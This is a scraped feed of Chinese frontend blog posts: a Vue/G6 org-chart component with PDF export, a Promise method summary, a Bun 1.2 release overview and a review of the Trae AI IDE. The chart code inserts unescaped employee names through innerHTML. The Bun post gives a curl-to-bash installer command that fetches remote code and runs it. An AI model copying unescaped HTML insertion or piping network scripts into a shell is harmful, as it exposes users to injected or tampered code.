const router = useRouter();
const { isCn, isArabic } = useLanguage();

const props = defineProps({
treeData: { type: Array },
});

const graphContainer = ref(null);
let graph = null;

const isCategory = (cfg) => {
if (cfg.personalType === 0) {
return `<div class="square-style-right-top positionGreen">
      ${cfg.name}
    </div>`;
} else if (cfg.personalType === 1) {
return `<div class="square-style-right-top positionOrange">
      ${cfg.name}
    </div>`;
} else {
return `<div class="square-style-right-top gradualChange">
      ${cfg.name}
    </div>`;
}
};
const generateSonHtml = (children, hasOuterLine = false) => {
if (!children) return '';

let level = 0;

let html = '';

function generaHtml(kids, level) {
if (!kids) return '';
level++;

let kidHtml = '';
kids.forEach((cfg, idx) => {
kidHtml += `
              <div class="outermost">
                ${
level === 1 && hasOuterLine
? `
                    <div class="outermost-line">
                      <div class="top-line"></div>
                      ${
idx === kids.length - 1
? ''
: `<div class="bottom-line"></div>`
}
                    </div>
                  `
: ''
}
                <li class="hierarchy" data-level='${level}' last-index='${
kids.length - 1
}' index='${idx}'>
                  <div class="square-wrap">
                    ${
level > 1
? `
                        <div class="line">
                          <div class="top-line"></div>
                          ${
idx === kids.length - 1
? ''
: `<div class="bottom-line"></div>`
}
                        </div>
                      `
: ''
}
                    <div class="node square-style">
                      <div class="square-style-left">
                        <div class="square-style-left-top"> ${
cfg.employeeCount || 0
} / ${
(cfg.employeeList && cfg.employeeList.length) || 0
}</div>
                        <div class="square-style-left-bottom"> ${
cfg.workPatternName || '--'
}</div>
                      </div>
                      <div class="square-style-right">
                        ${isCategory(cfg)}
                        ${
(cfg.employeeList &&
cfg.employeeList
.map((item) => {
if (item.fullName == 'TBC') {
return `<div class="square-style-right-bottom" style="color: #409eff">${item.fullName}</div>`;
} else {
return `<div class="square-style-right-bottom" data-id='${
item.id
}'>${item.fullName}(${
item.workPatternName || '--'
})</div>`;
}
})
.join('')) ||
`<div class="square-style-right-bottom">--</div>`
}
                      </div>
                    </div>
                  </div>
                  ${
cfg.children && cfg.children.length
? `<ul class="nodes">${generaHtml(
cfg.children,
level,
  )}</ul>`
: ''
}
                </li>
              </div>
      `;
});

return kidHtml;
}

html += `
      <ul class="nodes">
        ${generaHtml(children, level)}
      </ul>
    `;

return html;
};

const getTopHtml = (cfg) => {
return `
    <div class="top-box-html">
      <div class="diamond-style">
        <div class="diamond-top">${cfg.employeeCount || 0} / ${
cfg.headcount || 0
}</div>
        <div class="diamond-bottom">${cfg.workPatternName || '--'}</div>
      </div>
      <div class="tox-box-diamond">
        <div class="diamond-title">
          ${
isCn.value && cfg.nameZh
? cfg.nameZh
: isArabic.value && cfg.nameAr
? cfg.nameAr
: cfg.nameEn
}
        </div>
        ${
(cfg.leaderList &&
cfg.leaderList
.map((item) => {
return `<div class="diamond-name">${item.fullName.replace(
/(.{19})/g,
'$1\n',
)}(${item.workPatternName || '--'})</div>`;
})
.join('')) ||
`<div class="diamond-name">--</div>`
}
      </div>
    </div>`;
};
const generateSonTopHtml = (children, hasOuterLine = false) => {
if (!children) return '';

let level = 0;

let html = '';

function generaHtml(kids, level) {
if (!kids) return '';
level++;

let kidHtml = '';
kids.forEach((cfg, idx) => {
kidHtml += `
              <div class="outermost">
                ${
level === 1 && hasOuterLine
? `
                    <div class="outermost-line">
                      ${
idx === 0
? '<div class="top-line0"></div>'
: `<div class="top-line"></div>`
}
                      <div class="bottom-line"></div>
                    </div>
                  `
: ''
}
                <li class="hierarchy" data-level='${level}' last-index='${
kids.length - 1
}' index='${idx}'>
                  <div class="square-wrap">
                    ${
level > 1
? `
                        <div class="line">
                          <div class="top-line"></div>
                          ${
idx === kids.length - 1
? ''
: `<div class="bottom-line"></div>`
}
                        </div>
                      `
: ''
}
                    <div class="node square-style">
                      <div class="square-style-left">
                        <div class="square-style-left-top">${
cfg.employeeCount || 0
} / ${
(cfg.employeeList && cfg.employeeList.length) || 0
}</div>
                        <div class="square-style-left-bottom"> ${
cfg.workPatternName || '--'
}</div>
                      </div>
                      <div class="square-style-right">
                        ${isCategory(cfg)}
                        ${
(cfg.employeeList &&
cfg.employeeList
.map((item) => {
if (item.fullName == 'TBC') {
return `<div class="square-style-right-bottom" style="color: #409eff">${item.fullName}</div>`;
} else {
return `<div class="square-style-right-bottom" data-id="${
item.id
}">${item.fullName}(${
item.workPatternName || '--'
})</div>`;
}
})
.join('')) ||
`<div class="square-style-right-bottom">--</div>`
}
                      </div>
                    </div>
                  </div>
                  ${
cfg.children && cfg.children.length
? `<ul class="nodes">${generaHtml(
cfg.children,
level,
  )}</ul>`
: ''
}
                </li>
              </div>
      `;
});

return kidHtml;
}

html += `
      <ul class="nodes">
        ${generaHtml(children, level)}
      </ul>
    `;

return html;
};

function calculateMaxChildren(data) {
let maxChildrenCount = 0;

for (let node of data) {
let childrenCount = 0;

// 递归计算子节点的数量
if (node.children) {
childrenCount += calculateMaxChildren(node.children);
}

// 计算当前节点及其子节点的子节点数量
childrenCount += node.children ? node.children.length : 0;

// 更新最大子节点数量
maxChildrenCount = Math.max(maxChildrenCount, childrenCount);
}

return maxChildrenCount;
}
const methodChart = () => {
G6.registerNode(
'dom-node',
{
draw(cfg, group) {
const container = document.createElement('div');
if (cfg.level2 === 0) {
container.innerHTML = `
              <div class="boxChartTop" id="${cfg.id}">
                ${getTopHtml(cfg)}
${
cfg.positionList && cfg.positionList.length > 0
? `<div class="center-line"></div>`
: ''
}
                ${generateSonTopHtml(cfg.positionList, true)}
              </div>`;
} else {
container.innerHTML = `
              <div class="boxChart" id="${cfg.id}">
                <div class="circle-wrap">
                  <div class="outermost-line">
                    <div class="bottom-line"></div>
                  </div>
                  <div class="circle-style">${
isCn.value && cfg.nameZh
? cfg.nameZh
: isArabic.value && cfg.nameAr
? cfg.nameAr
: cfg.nameEn
}</div>
                </div>
                ${generateSonHtml(cfg.positionList, true)}
              </div>
            `;
}
// 将container插入隐藏容器以计算宽高
const hiddenContainer = document.getElementById('hiddenContainer');
hiddenContainer.appendChild(container);
const width = container.clientWidth;
const height = container.clientHeight;
hiddenContainer.removeChild(container);

const shape = group.addShape('dom', {
attrs: {
width,
height: height + 10,
x: 0,
y: 0,
html: container.innerHTML,
size: [width, height],
},
draggable: true,
});

cfg.width = width;
cfg.height = height;

return shape;
},
},
'dom',
);

G6.registerEdge('flow-line', {
draw(cfg, group) {
let startPoint = cfg.startPoint;
let endPoint = cfg.endPoint;

// 计算源节点底部中间位置
const sourceModel = graph.findById(cfg.source).getModel();
const sourceHeight = sourceModel.height;

// 目标节点 这块可以优化,看看那位大佬帮忙优化一下
const targetModel = graph.findById(cfg.target).getModel();
const targetHeight = targetModel.height;
const list =
sourceModel.positionList && sourceModel.positionList.length > 0
? calculateMaxChildren(sourceModel.positionList)
: 0;
console.log('计算', list);
// 计算父节点底部中间位置
let sourceX = startPoint.x;
if (
sourceModel.level2 === 0 &&
sourceModel.positionList?.length > 0 &&
list < 1
) {
console.log('1');
sourceX = startPoint.x - 115;
} else if (
sourceModel.level2 === 0 &&
sourceModel.positionList?.length <= 3 &&
list <= 3
) {
console.log('2');
sourceX = startPoint.x - 150;
} else if (
sourceModel.level2 === 0 &&
sourceModel.positionList?.length > 3 &&
list < 3
) {
console.log('3');
sourceX = startPoint.x - 180;
} else if (
sourceModel.level2 === 0 &&
sourceModel.positionList?.length < 4 &&
list > 3
) {
console.log('4');
sourceX = startPoint.x - list * 35;
} else if (
sourceModel.level2 === 0 &&
sourceModel.positionList?.length === 4 &&
list === 3
) {
console.log('5');
sourceX = startPoint.x - list * 50;
} else if (
sourceModel.level2 === 0 &&
sourceModel.positionList?.length <= 4 &&
list >= 4
) {
console.log('6');
sourceX = startPoint.x - list * 50;
}

const sourceY = startPoint.y + sourceHeight / 2;

// 计算目标节点顶部中间位置
const targetX = endPoint.x;
const targetY = endPoint.y - targetHeight / 2;

const isSafari = /^((?!chrome|android).)*safari/i.test(
navigator.userAgent,
);

// 控制连接线的路径,使其从父节点底部中间连接到子节点顶部中间
const path = [
['M', sourceX, sourceY - 17],
['L', sourceX, (sourceY + targetY) / 2],
['L', targetX, (sourceY + targetY) / 2],
['L', targetX, targetY],
];

// 绘制连接线
const shape = group.addShape('path', {
attrs: {
path: path,
stroke: '#e07572',
lineWidth: 1.5,
},
});

return shape;
},
});
};

const treeChart = () => {
methodChart();
const width = graphContainer.value.scrollWidth || 1740;
const height = graphContainer.value.scrollHeight || 700;
graph = new G6.TreeGraph({
container: graphContainer.value,
width,
height,
renderer: 'svg',
fitView: true,
linkCenter: true,
modes: {
default: ['drag-canvas', 'zoom-canvas'],
},
defaultNode: {
type: 'dom-node',
},
defaultEdge: {
type: 'flow-line',
style: {
stroke: '#e07572',
lineWidth: 1,
},
},
layout: {
type: 'compactBox',
direction: 'TB',
getId: function getId(d) {
return d.id;
},
getHeight: function getHeight(d) {
return d.height || 200;
},
getWidth: function getWidth(d) {
return d.width || 16;
},
// 每个节点的垂直间隙
getVGap: function getVGap() {
return 50;
},
// 每个节点的水平间隙
getHGap: function getHGap() {
return 70;
},
},
});

graph.read(props.treeData[0]);
graph.clear();

// 在首次渲染后获取节点实际宽高并重新布局
setTimeout(() => {
graph.read(props.treeData[0]);
graph.fitView();
}, 650);

if (typeof window !== 'undefined')
window.onresize = () => {
if (!graph || graph.get('destroyed')) return;
if (
!graphContainer.value ||
!graphContainer.value.scrollWidth ||
!graphContainer.value.scrollHeight
)
return;
graph.changeSize(
graphContainer.value.scrollWidth,
graphContainer.value.scrollHeight,
);
};
};
const context = ref();
const downImage = async () => {
graph.fitView(); // 确保视图包含所有节点和边
setTimeout(() => {
domtoimage
.toSvg(context.value)
.then(function (dataUrl) {
const link = document.createElement('a');
link.href = dataUrl;
link.download = `Org Chart-${props.treeData[0].nameEn}`;
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
})
.catch(function (error) {
console.error('oops, something went wrong!', error);
});
}, 200);
};

const downPdf = () => {
graph.fitView(); // 确保视图包含所有节点和边
const target = context.value;
console.log('target', target);

let contentWidth = target.clientWidth; // 获得该容器的宽
let contentHeight = target.clientHeight; // 获得该容器的高

target.ownerDocument.defaultView.devicePixelRatio = 1.25;
target.ownerDocument.defaultView.innerWidth = contentWidth;
target.ownerDocument.defaultView.innerHeight = contentHeight;

let opts = {
scale: 4,
width: contentWidth,
height: contentHeight,
useCORS: true,
bgcolor: '#fff',
};
domtoimage
.toPng(target, opts)
.then(function (dataUrl) {
var img = new Image();
img.src = dataUrl;
//一页pdf显示html页面生成的canvas高度;
var pageHeight = (contentWidth / 592.28) * 841.89;
//未生成pdf的html页面高度
var leftHeight = contentHeight;
//页面偏移
var position = 0;
//a4纸的尺寸[595.28,841.89],html页面生成的canvas在pdf中图片的宽高
var imgWidth = 595.28;
var imgHeight = (592.28 / contentWidth) * contentHeight;

var pdf = new jsPDF('', 'pt', 'a4');

//有两个高度需要区分,一个是html页面的实际高度,和生成pdf的页面高度(841.89)
//当内容未超过pdf一页显示的范围,无需分页
if (leftHeight < pageHeight) {
pdf.addImage(dataUrl, 'PNG', 0, 0, imgWidth, imgHeight);
} else {
while (leftHeight > 0) {
pdf.addImage(dataUrl, 'PNG', 0, position, imgWidth, imgHeight);
leftHeight -= pageHeight;
position -= 841.89;
//避免添加空白页
if (leftHeight > 0) {
pdf.addPage();
}
}
}

pdf.save(`Org Chart-${props.treeData[0].nameEn}.pdf`);
})
.catch(function (error) {
console.error('oops, something went wrong!', error);
});
};
onUnmounted(() => {
// 销毁图实例
if (graph) {
graph.clear();
graph.destroy();
}
});

const closeChart = () => {
if (graph) {
graph.clear();
graph.destroy();
}
};

onMounted(() => {
Session.remove('employeeID');
Session.remove('employeeParams');
if (props.treeData && props.treeData.length) {
treeChart();
}
});
const clickHandler = (event) => {
if (event.target.classList.contains('square-style-right-bottom')) {
var dataId = event.target.getAttribute('data-id');
if (dataId) {
Session.set('employeeID', dataId);
let params = {
form: 'organization',
employeeId: dataId,
to: 'workInfo',
};
Session.set('employeeParams', params);
router.push({ name: 'employDetails' });
}
}
};

document.body.addEventListener('click', clickHandler);
onBeforeUnmount(() => {
document.body.removeEventListener('click', clickHandler);
});

defineExpose({
treeChart,
downImage,
downPdf,
closeChart,
});
</script>
<template>
<div id="context" ref="context">
<div class="use-cases">
<div class="total-table">
<div class="lattice">
<div class="box">{{ $t('employee.organization.expat') }}</div>
<div class="box">{{ props.treeData[0].expatCount }}</div>
</div>
<div class="lattice">
<div class="box">{{ $t('employee.organization.local') }}</div>
<div class="box">{{ props.treeData[0].localCount }}</div>
</div>
<div class="lattice">
<div class="box">{{ $t('employee.organization.mixed') }}</div>
<div class="box">{{ props.treeData[0].mixedCount }}</div>
</div>
<div class="lattice total">
<div class="box">{{ $t('employee.organization.total') }}</div>
<div class="box">{{ props.treeData[0].headcount }}</div>
</div>
</div>
<div class="org-text">
<div class="box positionGreen"></div>
{{ $t('employee.organization.local') }}
<div class="box positionOrange"></div>
{{ $t('employee.organization.expat') }}
<div class="box gradualChange"></div>
{{ $t('employee.organization.mixed') }}
</div>
</div>
<div id="graphContainer" ref="graphContainer"></div>
<div
id="hiddenContainer"
style="visibility: hidden; position: absolute"
></div>
</div>
</template>
<style lang="scss">
.total-table {
border: 1px solid #dae0e6;
border-radius: 4px;
.lattice {
display: flex;
color: #66809e;
border-bottom: 1px solid #dae0e6;
&:last-child {
border-bottom: none;
}
.box {
text-align: center;
padding: 8px 16px;
width: 80px;
border-right: 1px solid #dae0e6;
&:last-child {
border-right: none;
}
}
}
.total {
background-color: #f2f4f7;
}
}
.use-cases {
display: flex;
justify-content: space-between;
padding: 24px 24px 0px 24px;
.org-text {
display: flex;
align-items: center;
column-gap: 8px;
margin-right: 8px;
color: #66809e;
.box {
width: 20px;
height: 20px;
border-radius: 4px;
}
.positionGreen {
background-color: #6fc9c2;
}
.positionOrange {
background-color: #f2f09f;
}
.gradualChange {
background: linear-gradient(to right, #f3ef9f, #6ecac1);
}
}
}

.boxChart {
display: flex;
flex-direction: column;
align-items: center;
user-select: none;
height: 100%;

.circle-wrap {
display: flex;
width: 100%;
margin-bottom: -10px;
}

.circle-style {
width: 100%;
height: 80px;
padding: 8px;
border-radius: 48%;
border: 1px solid #242424;
background-color: #fff2cc;
text-align: center;
word-wrap: break-word;
font-size: 20px;
font-weight: bold;
display: flex;
justify-content: center;
align-items: center;
}

.diamond-style {
display: flex;
flex-direction: column;

.diamond-top {
border: 1px solid #242424;
border-right: none;
width: 50px;
height: 28px;
line-height: 28px;
text-align: center;
}

.diamond-bottom {
border: 1px solid #242424;
border-right: none;
width: 50px;
height: 26px;
line-height: 28px;
text-align: center;
}
}

.nodes {
list-style: none;

.outermost {
display: flex;
overflow: hidden;

.outermost-line {
.top-line {
width: 10px;
height: 35px;
border-color: rgba(217, 83, 79, 0.8);
border-style: solid;
border-width: 0 0 2px 2px;
}

.bottom-line {
width: 0;
height: 5000%;
border-color: rgba(217, 83, 79, 0.8);
border-style: solid;
border-width: 0 0 2px 2px;
}
}
}

.hierarchy {
padding-bottom: 20px;
overflow: hidden;

.square-wrap {
display: flex;
padding-top: 20px;

&:last-child {
margin-bottom: 0;
}
}
}

.square-wrap {
.line {
margin-top: -21px;

.top-line {
width: 10px;
height: 35px;
border-color: rgba(217, 83, 79, 0.8);
border-style: solid;
border-width: 0 0 2px 2px;
}

.bottom-line {
width: 0;
height: 5000%;
border-color: rgba(217, 83, 79, 0.8);
border-style: solid;
border-width: 0 0 2px 2px;
}
}
}

.nodes {
padding-left: 60px;
}
}

.square-style {
display: flex;
background-color: #fff;

&-left {
display: flex;
flex-direction: column;

&-top {
border: 1px solid #242424;
border-right: none;
width: 50px;
padding: 8px;
text-align: center;
}

&-bottom {
border: 1px solid #242424;
border-right: none;
border-top: none;
width: 50px;
padding: 8px;
text-align: center;
}
}

&-right {
width: 200px;
height: auto;
text-align: center;

&-top {
border: 1px solid #242424;
padding: 8px;
}

&-bottom {
border: 1px solid #242424;
border-top: none;
padding: 8px 0;
cursor: pointer;
}
}
}
}

.boxChartTop {
display: flex;
flex-direction: column;
align-items: center;
user-select: none;
padding-right: 32px;

.circle-wrap {
display: flex;
width: 100%;
margin-left: -40px;
}

.center-top {
width: 100%;
display: flex;
align-items: center;
}

.top-vertical {
flex: 1;
width: 0;
height: 100%;
border-color: rgba(217, 83, 79, 0.8);
border-style: solid;
border-width: 0 0 2px 2px;
margin-left: 42.8%;
}

.diamond-style {
display: flex;
flex-direction: column;

.diamond-top {
border: 1px solid #242424;
border-right: none;
width: 50px;
height: 28px;
line-height: 28px;
text-align: center;
}

.diamond-bottom {
border: 1px solid #242424;
border-right: none;
border-top: none;
width: 50px;
height: 28px;
line-height: 28px;
text-align: center;
}
}

.nodes {
list-style: none;
padding-left: 60px !important;

.outermost {
display: flex;
overflow: hidden;

.outermost-line {
.top-line {
width: 10px;
height: 35px;
border-color: rgba(217, 83, 79, 0.8);
border-style: solid;
border-width: 0 0 2px 2px;
}

.top-line0 {
width: 10px;
height: 35px;
border-color: rgba(217, 83, 79, 0.8);
border-style: solid;
border-width: 0 0 2px 0;
}

.bottom-line {
width: 0;
height: 5000%;
border-color: rgba(217, 83, 79, 0.8);
border-style: solid;
border-width: 0 0 2px 2px;
}
}
}

.hierarchy {
padding-bottom: 21px;
overflow: hidden;

.square-wrap {
display: flex;
padding-top: 20px;

&:last-child {
margin-bottom: 0;
}
}
}

.square-wrap {
.line {
margin-top: -21px;

.top-line {
width: 10px;
height: 35px;
border-color: rgba(217, 83, 79, 0.8);
border-style: solid;
border-width: 0 0 2px 2px;
}

.bottom-line {
width: 0;
height: 5000%;
border-color: rgba(217, 83, 79, 0.8);
border-style: solid;
border-width: 0 0 2px 2px;
}
}
}

.nodes {
padding-left: 60px;
// display: flex;
}
}

.center-line {
width: 0;
height: 20px;
border-color: rgba(217, 83, 79, 0.8);
border-style: solid;
border-width: 0 0 2px 2px;
margin-bottom: -20px;
}

.square-style {
display: flex;
background-color: #fff;

&-left {
display: flex;
flex-direction: column;

&-top {
border: 1px solid #242424;
border-right: none;
width: 50px;
padding: 8px;
text-align: center;
}

&-bottom {
border: 1px solid #242424;
border-right: none;
border-top: none;
width: 50px;
padding: 8px;
text-align: center;
}
}

&-right {
width: 200px;
height: auto;
text-align: center;

&-top {
border: 1px solid #242424;
padding: 8px;
}

&-bottom {
border: 1px solid #242424;
border-top: none;
padding: 8px 0;
cursor: pointer;
}
}
}

.top-right {
margin-left: -41px;
}
}

.top-box-html {
display: flex;
width: 100%;
margin-left: 135px;
.tox-box-diamond {
width: 200px;
height: auto;
text-align: center;

.diamond-title {
border: 1px solid #242424;
background-color: #4f5b72;
color: #fff;
padding: 4px;
min-height: 28px;
}

.diamond-name {
border: 1px solid #242424;
border-top: none;
padding: 4px 0;
min-height: 28px;
background-color: #fff;
}
}
}

.positionGreen {
background-color: #6fc9c2;
}

.positionOrange {
background-color: #f2f09f;
}

.gradualChange {
background: linear-gradient(to right, #f3ef9f, #6ecac1);
}
</style>

G6不能使用绝对定位,所以处理起来很麻烦。代码写的很繁琐,我已经尽力了。我项目使用了多语言,所以有$t()。如果大家有更好得处理方式可以优化。美少女写这个头发掉了一大把。后面产品这块需要改版,看了大概好像更难,欲哭无泪。。。

image.png 大概是这样子,不是最终版本,主要是线得问题。G6不能使用绝对定位就很头大。我想着用纯HTML写但是不能放大缩小然后随便拖。Html 放大也只是把浏览器放大(要禁止)

by 陈23 at January 23, 2025 04:21 AM

juejin frontend

promise的方法总结

Promise 是 JavaScript 中用于处理异步操作的对象。它表示一个异步操作的最终完成(或失败)及其结果值。Promise 提供了一种更优雅的方式来处理异步代码,避免了传统的回调地狱(Callback Hell)。


Promise 的三种状态

  1. Pending(等待中)
    • 初始状态,既没有被兑现(fulfilled),也没有被拒绝(rejected)。
  2. Fulfilled(已兑现)
    • 表示操作成功完成,此时会调用 then 方法中的成功回调。
  3. Rejected(已拒绝)
    • 表示操作失败,此时会调用 then 方法中的失败回调或 catch 方法。

创建 Promise

Promise 的构造函数接受一个函数(通常称为执行器函数),该函数有两个参数:resolvereject

  • resolve:将 Promise 的状态从 pending 变为 fulfilled,并传递结果值。
  • reject:将 Promise 的状态从 pending 变为 rejected,并传递错误原因。

示例:

const promise = new Promise((resolve, reject) => {
  setTimeout(() => {
    const success = true;
    if (success) {
      resolve("Operation succeeded!");
    } else {
      reject("Operation failed!");
    }
  }, 1000);
});

promise
  .then((result) => console.log(result)) // 输出 "Operation succeeded!"
  .catch((error) => console.error(error));

Promise 的链式调用

Promise 支持链式调用,可以通过 then 方法依次处理多个异步操作。

示例:

const fetchData = () => {
  return new Promise((resolve) => {
    setTimeout(() => resolve("Data fetched!"), 1000);
  });
};

const processData = (data) => {
  return new Promise((resolve) => {
    setTimeout(() => resolve(`${data} -> Processed!`), 1000);
  });
};

fetchData()
  .then((data) => processData(data))
  .then((result) => console.log(result)) // 输出 "Data fetched! -> Processed!"
  .catch((error) => console.error(error));

Promise 的静态方法

  1. Promise.resolve()

    • 返回一个已经成功(fulfilled)的 Promise 对象。

    • 示例:

      Promise.resolve("Resolved!").then((result) => console.log(result)); // 输出 "Resolved!"
      
  2. Promise.reject()

    • 返回一个已经失败(rejected)的 Promise 对象。

    • 示例:

      Promise.reject("Rejected!").catch((error) => console.error(error)); // 输出 "Rejected!"
      
  3. Promise.all()

    • 接收一个 Promise 数组,当所有 Promise 都成功时返回一个包含所有结果的数组;如果任何一个 Promise 失败,则立即返回失败的结果。

    • 示例:

      const promises = [
        Promise.resolve(1),
        Promise.resolve(2),
        Promise.resolve(3),
      ];
      
      Promise.all(promises)
        .then((results) => console.log(results)) // 输出 [1, 2, 3]
        .catch((error) => console.error(error));
      
  4. Promise.race()

    • 接收一个 Promise 数组,返回第一个完成(无论成功或失败)的 Promise 的结果。

    • 示例:

      const promises = [
        new Promise((resolve) => setTimeout(() => resolve("First"), 1000)),
        new Promise((resolve) => setTimeout(() => resolve("Second"), 2000)),
      ];
      
      Promise.race(promises).then((result) => console.log(result)); // 输出 "First"
      
  5. Promise.allSettled()

    • 接收一个 Promise 数组,等待所有 Promise 完成(无论成功或失败),并返回一个包含每个 Promise 结果的对象数组。

    • 示例:

      const promises = [
        Promise.resolve(1),
        Promise.reject("Error"),
        Promise.resolve(3),
      ];
      
      Promise.allSettled(promises).then((results) => console.log(results));
      // 输出:
      // [
      //   { status: 'fulfilled', value: 1 },
      //   { status: 'rejected', reason: 'Error' },
      //   { status: 'fulfilled', value: 3 }
      // ]
      
  6. Promise.any()

    • 接收一个 Promise 数组,返回第一个成功的 Promise 的结果。如果所有 Promise 都失败,则返回一个 AggregateError

    • 示例:

      const promises = [
        Promise.reject("Error 1"),
        Promise.resolve("Success!"),
        Promise.reject("Error 2"),
      ];
      
      Promise.any(promises)
        .then((result) => console.log(result)) // 输出 "Success!"
        .catch((error) => console.error(error));
      

Promise 的实例方法

  1. then()

    • 用于为 Promise 添加成功(fulfilled)或失败(rejected)状态的回调函数。

    • 示例:

      promise.then(
        (result) => console.log(result), // 成功回调
        (error) => console.error(error)  // 失败回调
      );
      
  2. catch()

    • 用于捕获 Promise 的失败状态(rejected)。

    • 示例:

      promise.catch((error) => console.error(error));
      
  3. finally()

    • 无论 Promise 是成功还是失败,都会执行的回调函数。

    • 示例:

      promise.finally(() => console.log("Done!"));
      

总结

方法类型方法名描述
实例方法then()添加成功或失败的回调函数
实例方法catch()捕获失败状态
实例方法finally()无论成功或失败都会执行的回调函数
静态方法Promise.resolve()返回一个成功的 Promise
静态方法Promise.reject()返回一个失败的 Promise
静态方法Promise.all()等待所有 Promise 成功,或第一个失败
静态方法Promise.allSettled()等待所有 Promise 完成(无论成功或失败)
静态方法Promise.race()返回第一个完成的 Promise(无论成功或失败)
静态方法Promise.any()返回第一个成功的 Promise,如果全部失败则返回 AggregateError

Promise 是 JavaScript 中处理异步操作的核心工具。它通过链式调用和状态管理,使得异步代码更易读、更易维护。结合 async/await 语法,可以进一步简化异步代码的编写。

by 最近好乐 at January 23, 2025 04:15 AM

Bun 1.2 版本重磅更新,带来全方位升级体验

在 JavaScript 生态系统中,Bun 正迅速崛起,成为 Node.js 的有力竞争者。作为一个现代化的 JavaScript 运行时,Bun 不仅提供了极致的性能,还致力于简化开发流程,提升开发者的生产力。

Bun 1.2 的发布标志着这一目标的又一重大进展,带来了 Node.js 兼容性的大幅提升、内置的 S3 对象存储支持、Postgres 客户端等重磅功能。无论是构建全栈应用、优化现有项目,还是探索新的开发范式,Bun 1.2 都为开发者提供了更强大的工具和更高效的解决方案。

接下来,让我们一起深入探索 Bun 1.2 的主要更新和亮点功能。

Node.js 兼容性

Bun 旨在成为 Node.js 的直接替代品。在 Bun 1.2 中,Bun 开始对每个更改运行 Node.js 测试套件,以确保兼容性。自那时起,已经修复了数千个错误,以下 Node.js 模块现在在 Bun 中通过了超过 90% 的测试:

  • node:http
  • node:fs
  • node:path
  • node:child_process
  • node:crypto

如何衡量兼容性?

在 Bun 1.2 中,测试和提升 Bun 与 Node.js 兼容性的方式发生了变化。以前,Bun 会优先修复用户报告的 Node.js 错误,通常是通过 GitHub 问题反馈的 npm 包无法在 Bun 中运行的问题。虽然这解决了实际用户遇到的错误,但这种方式更像是“打地鼠”,难以实现 100% 的 Node.js 兼容性。

于是,Bun 团队决定直接运行 Node.js 的测试套件。Node.js 的测试套件包含数千个测试文件,Bun 团队通过替换内部绑定和调整错误消息等方式,逐步将这些测试移植到 Bun 中。

目前的进展

Bun 已经移植了数千个 Node.js 测试文件,并确保每次提交都会运行 Node.js 测试套件。每天都有更多的测试通过,Bun 团队对 Node.js 兼容性的进展感到非常兴奋。

S3 支持:Bun.s3

Bun 1.2 引入了内置的 S3 对象存储 API:Bun.s3。通过这个 API,开发者可以轻松地从 S3 存储桶中读取、写入和删除文件,且 API 设计与 Web 标准兼容。

从 S3 读取文件

import { s3 } from "bun";

const file = s3.file("folder/my-file.txt");
const content = await file.text();

写入文件到 S3

import { s3 } from "bun";

const file = s3.file("folder/my-file.txt");
await file.write("hello s3!");

预签名 URL

Bun 还支持生成预签名 URL,允许用户直接上传文件到 S3,而无需通过服务器中转。

import { s3 } from "bun";

const url = s3.presign("folder/my-file.txt", {
  expiresIn: 3600, // 1 小时
  acl: "public-read",
});

Postgres 支持:Bun.sql

Bun 1.2 还引入了内置的 Postgres 客户端:Bun.sql。通过这个客户端,开发者可以轻松地执行 SQL 查询,并使用 JavaScript 值作为参数。

import { sql } from "bun";

const users = await sql`
  SELECT name, age FROM users
  WHERE age >= ${65}
`;

Bun.sql 的性能比 Node.js 中最流行的 Postgres 客户端快 50%,并且支持自动预处理语句、查询管道化等优化。

更快的 Express

在 Bun 1.2 中,Express 框架的性能提升了 3 倍。这得益于 Bun 对 node:http 的兼容性改进以及 HTTP 服务器的优化。

新的文本锁文件:bun.lock

Bun 1.2 引入了新的文本锁文件 bun.lock,取代了之前的二进制锁文件 bun.lockb。新的锁文件采用 JSONC 格式,支持注释和尾随逗号,使得在 GitHub 上查看差异和解决合并冲突变得更加容易。

{
  "lockfileVersion": 0,
  "packages": [
    ["express@4.21.2", "sha512-..."],
    ["body-parser@1.20.3"]
  ]
}

其他改进

  • JSONC 支持:现在可以在 package.json 中使用注释和尾随逗号。
  • npmrc 支持:Bun 现在支持读取 .npmrc 文件,用于配置 npm 注册表和范围包。
  • bun run --filter:可以在多个工作区中同时运行脚本。
  • bun outdated:查看过时的依赖项。
  • bun publish:发布 npm 包。

总结

Bun 1.2 带来了许多令人兴奋的新功能和改进,特别是在 Node.js 兼容性、S3 支持和 Postgres 客户端方面。无论是构建全栈应用还是优化现有项目,Bun 都提供了强大的工具和性能优势。

如果你还没有尝试过 Bun,现在是一个绝佳的时机。立即安装 Bun,体验这些新功能吧!

curl -fsSL https://bun.sh/install | bash

如果你已经安装了 Bun,可以通过以下命令升级到最新版本:

bun upgrade

Bun 的未来充满无限可能,期待你的加入!

by 一纸忘忧 at January 23, 2025 04:10 AM

juejin freebie

Trae初体验,字节也出AI IDE了,用它写个掘金

作为一名程序员,本着能摸鱼绝不干活的基本思想.在AI出来后更是踊跃使用,继续我的摸鱼事业.

安装

从国外的github copilot 到国内通义灵码 MarsCode cursor等工具,确实是提高了我的摸鱼效率.最近看到字节的Trae,是国内唯一一个AI+IDE的产品,那必须来试一试了.

首先是下载IDE了,下载链接丢这里: www.trae.ai/?utm_source… 不过目前只有mac版,window在准备中.

下载安装好之后,首先先测试一下它对项目工程化能否看到:

image.png 简单测试下,右下角可以切换对应的AI 默认支持GPT-4o和 Claude-3.5-Sonnet两个模型.chat默认会识别你打开的文件.

使用

接下来就简单用它来改改我的业务吧. 下图可以看到,简单的业务识别修改还是很精准的,但是这里我点击应用时,提示当前文件过大,暂时不支持Apply.这里还是需要优化优化的.还好也提供了复制和插入光标功能.

image.png

后面再来个需求吧,我直接将产品想要添加的改动描述发给Trae,简单的业务是没有问题

image.png

这里还有个Builder模式

我把掘金首页截图下来了,让它根据这个图片开发一个掘金 一步一步创建项目,执行命令需要人工确认

image.png

image.png

image.png

image.png

image.png

image.png

到这里创建好react的框架了,但是没有开发掘金的页面功能,我提醒一下它

image.png

这里遇到个问题,创建好项目后,运行浏览器报错了,它识别不到,只能我手动复制错误给它,这个IDE集成了内部浏览器,监听到报错应该也是能做到的吧,希望能够优化. 接下来项目算是创建好了,正常预览了

image.png

但还是没有写我的掘金页面,我再提示一下

image.png 结果告诉我它已经实现了.看了偷懒了呀

简单体验下来,chat模式还是采用了传统的对话模式交互,比较好的点是能看到当前模块的代码,进行综合考虑生成结果,比插件这种好.还有一个Builder模式还在测试中,这个比cursor好,可以上传图片.不过如果能出composer模式真的就太好了,笔记复制粘贴也是需要时间的,后面慢慢优化,取长补短,还是不错的

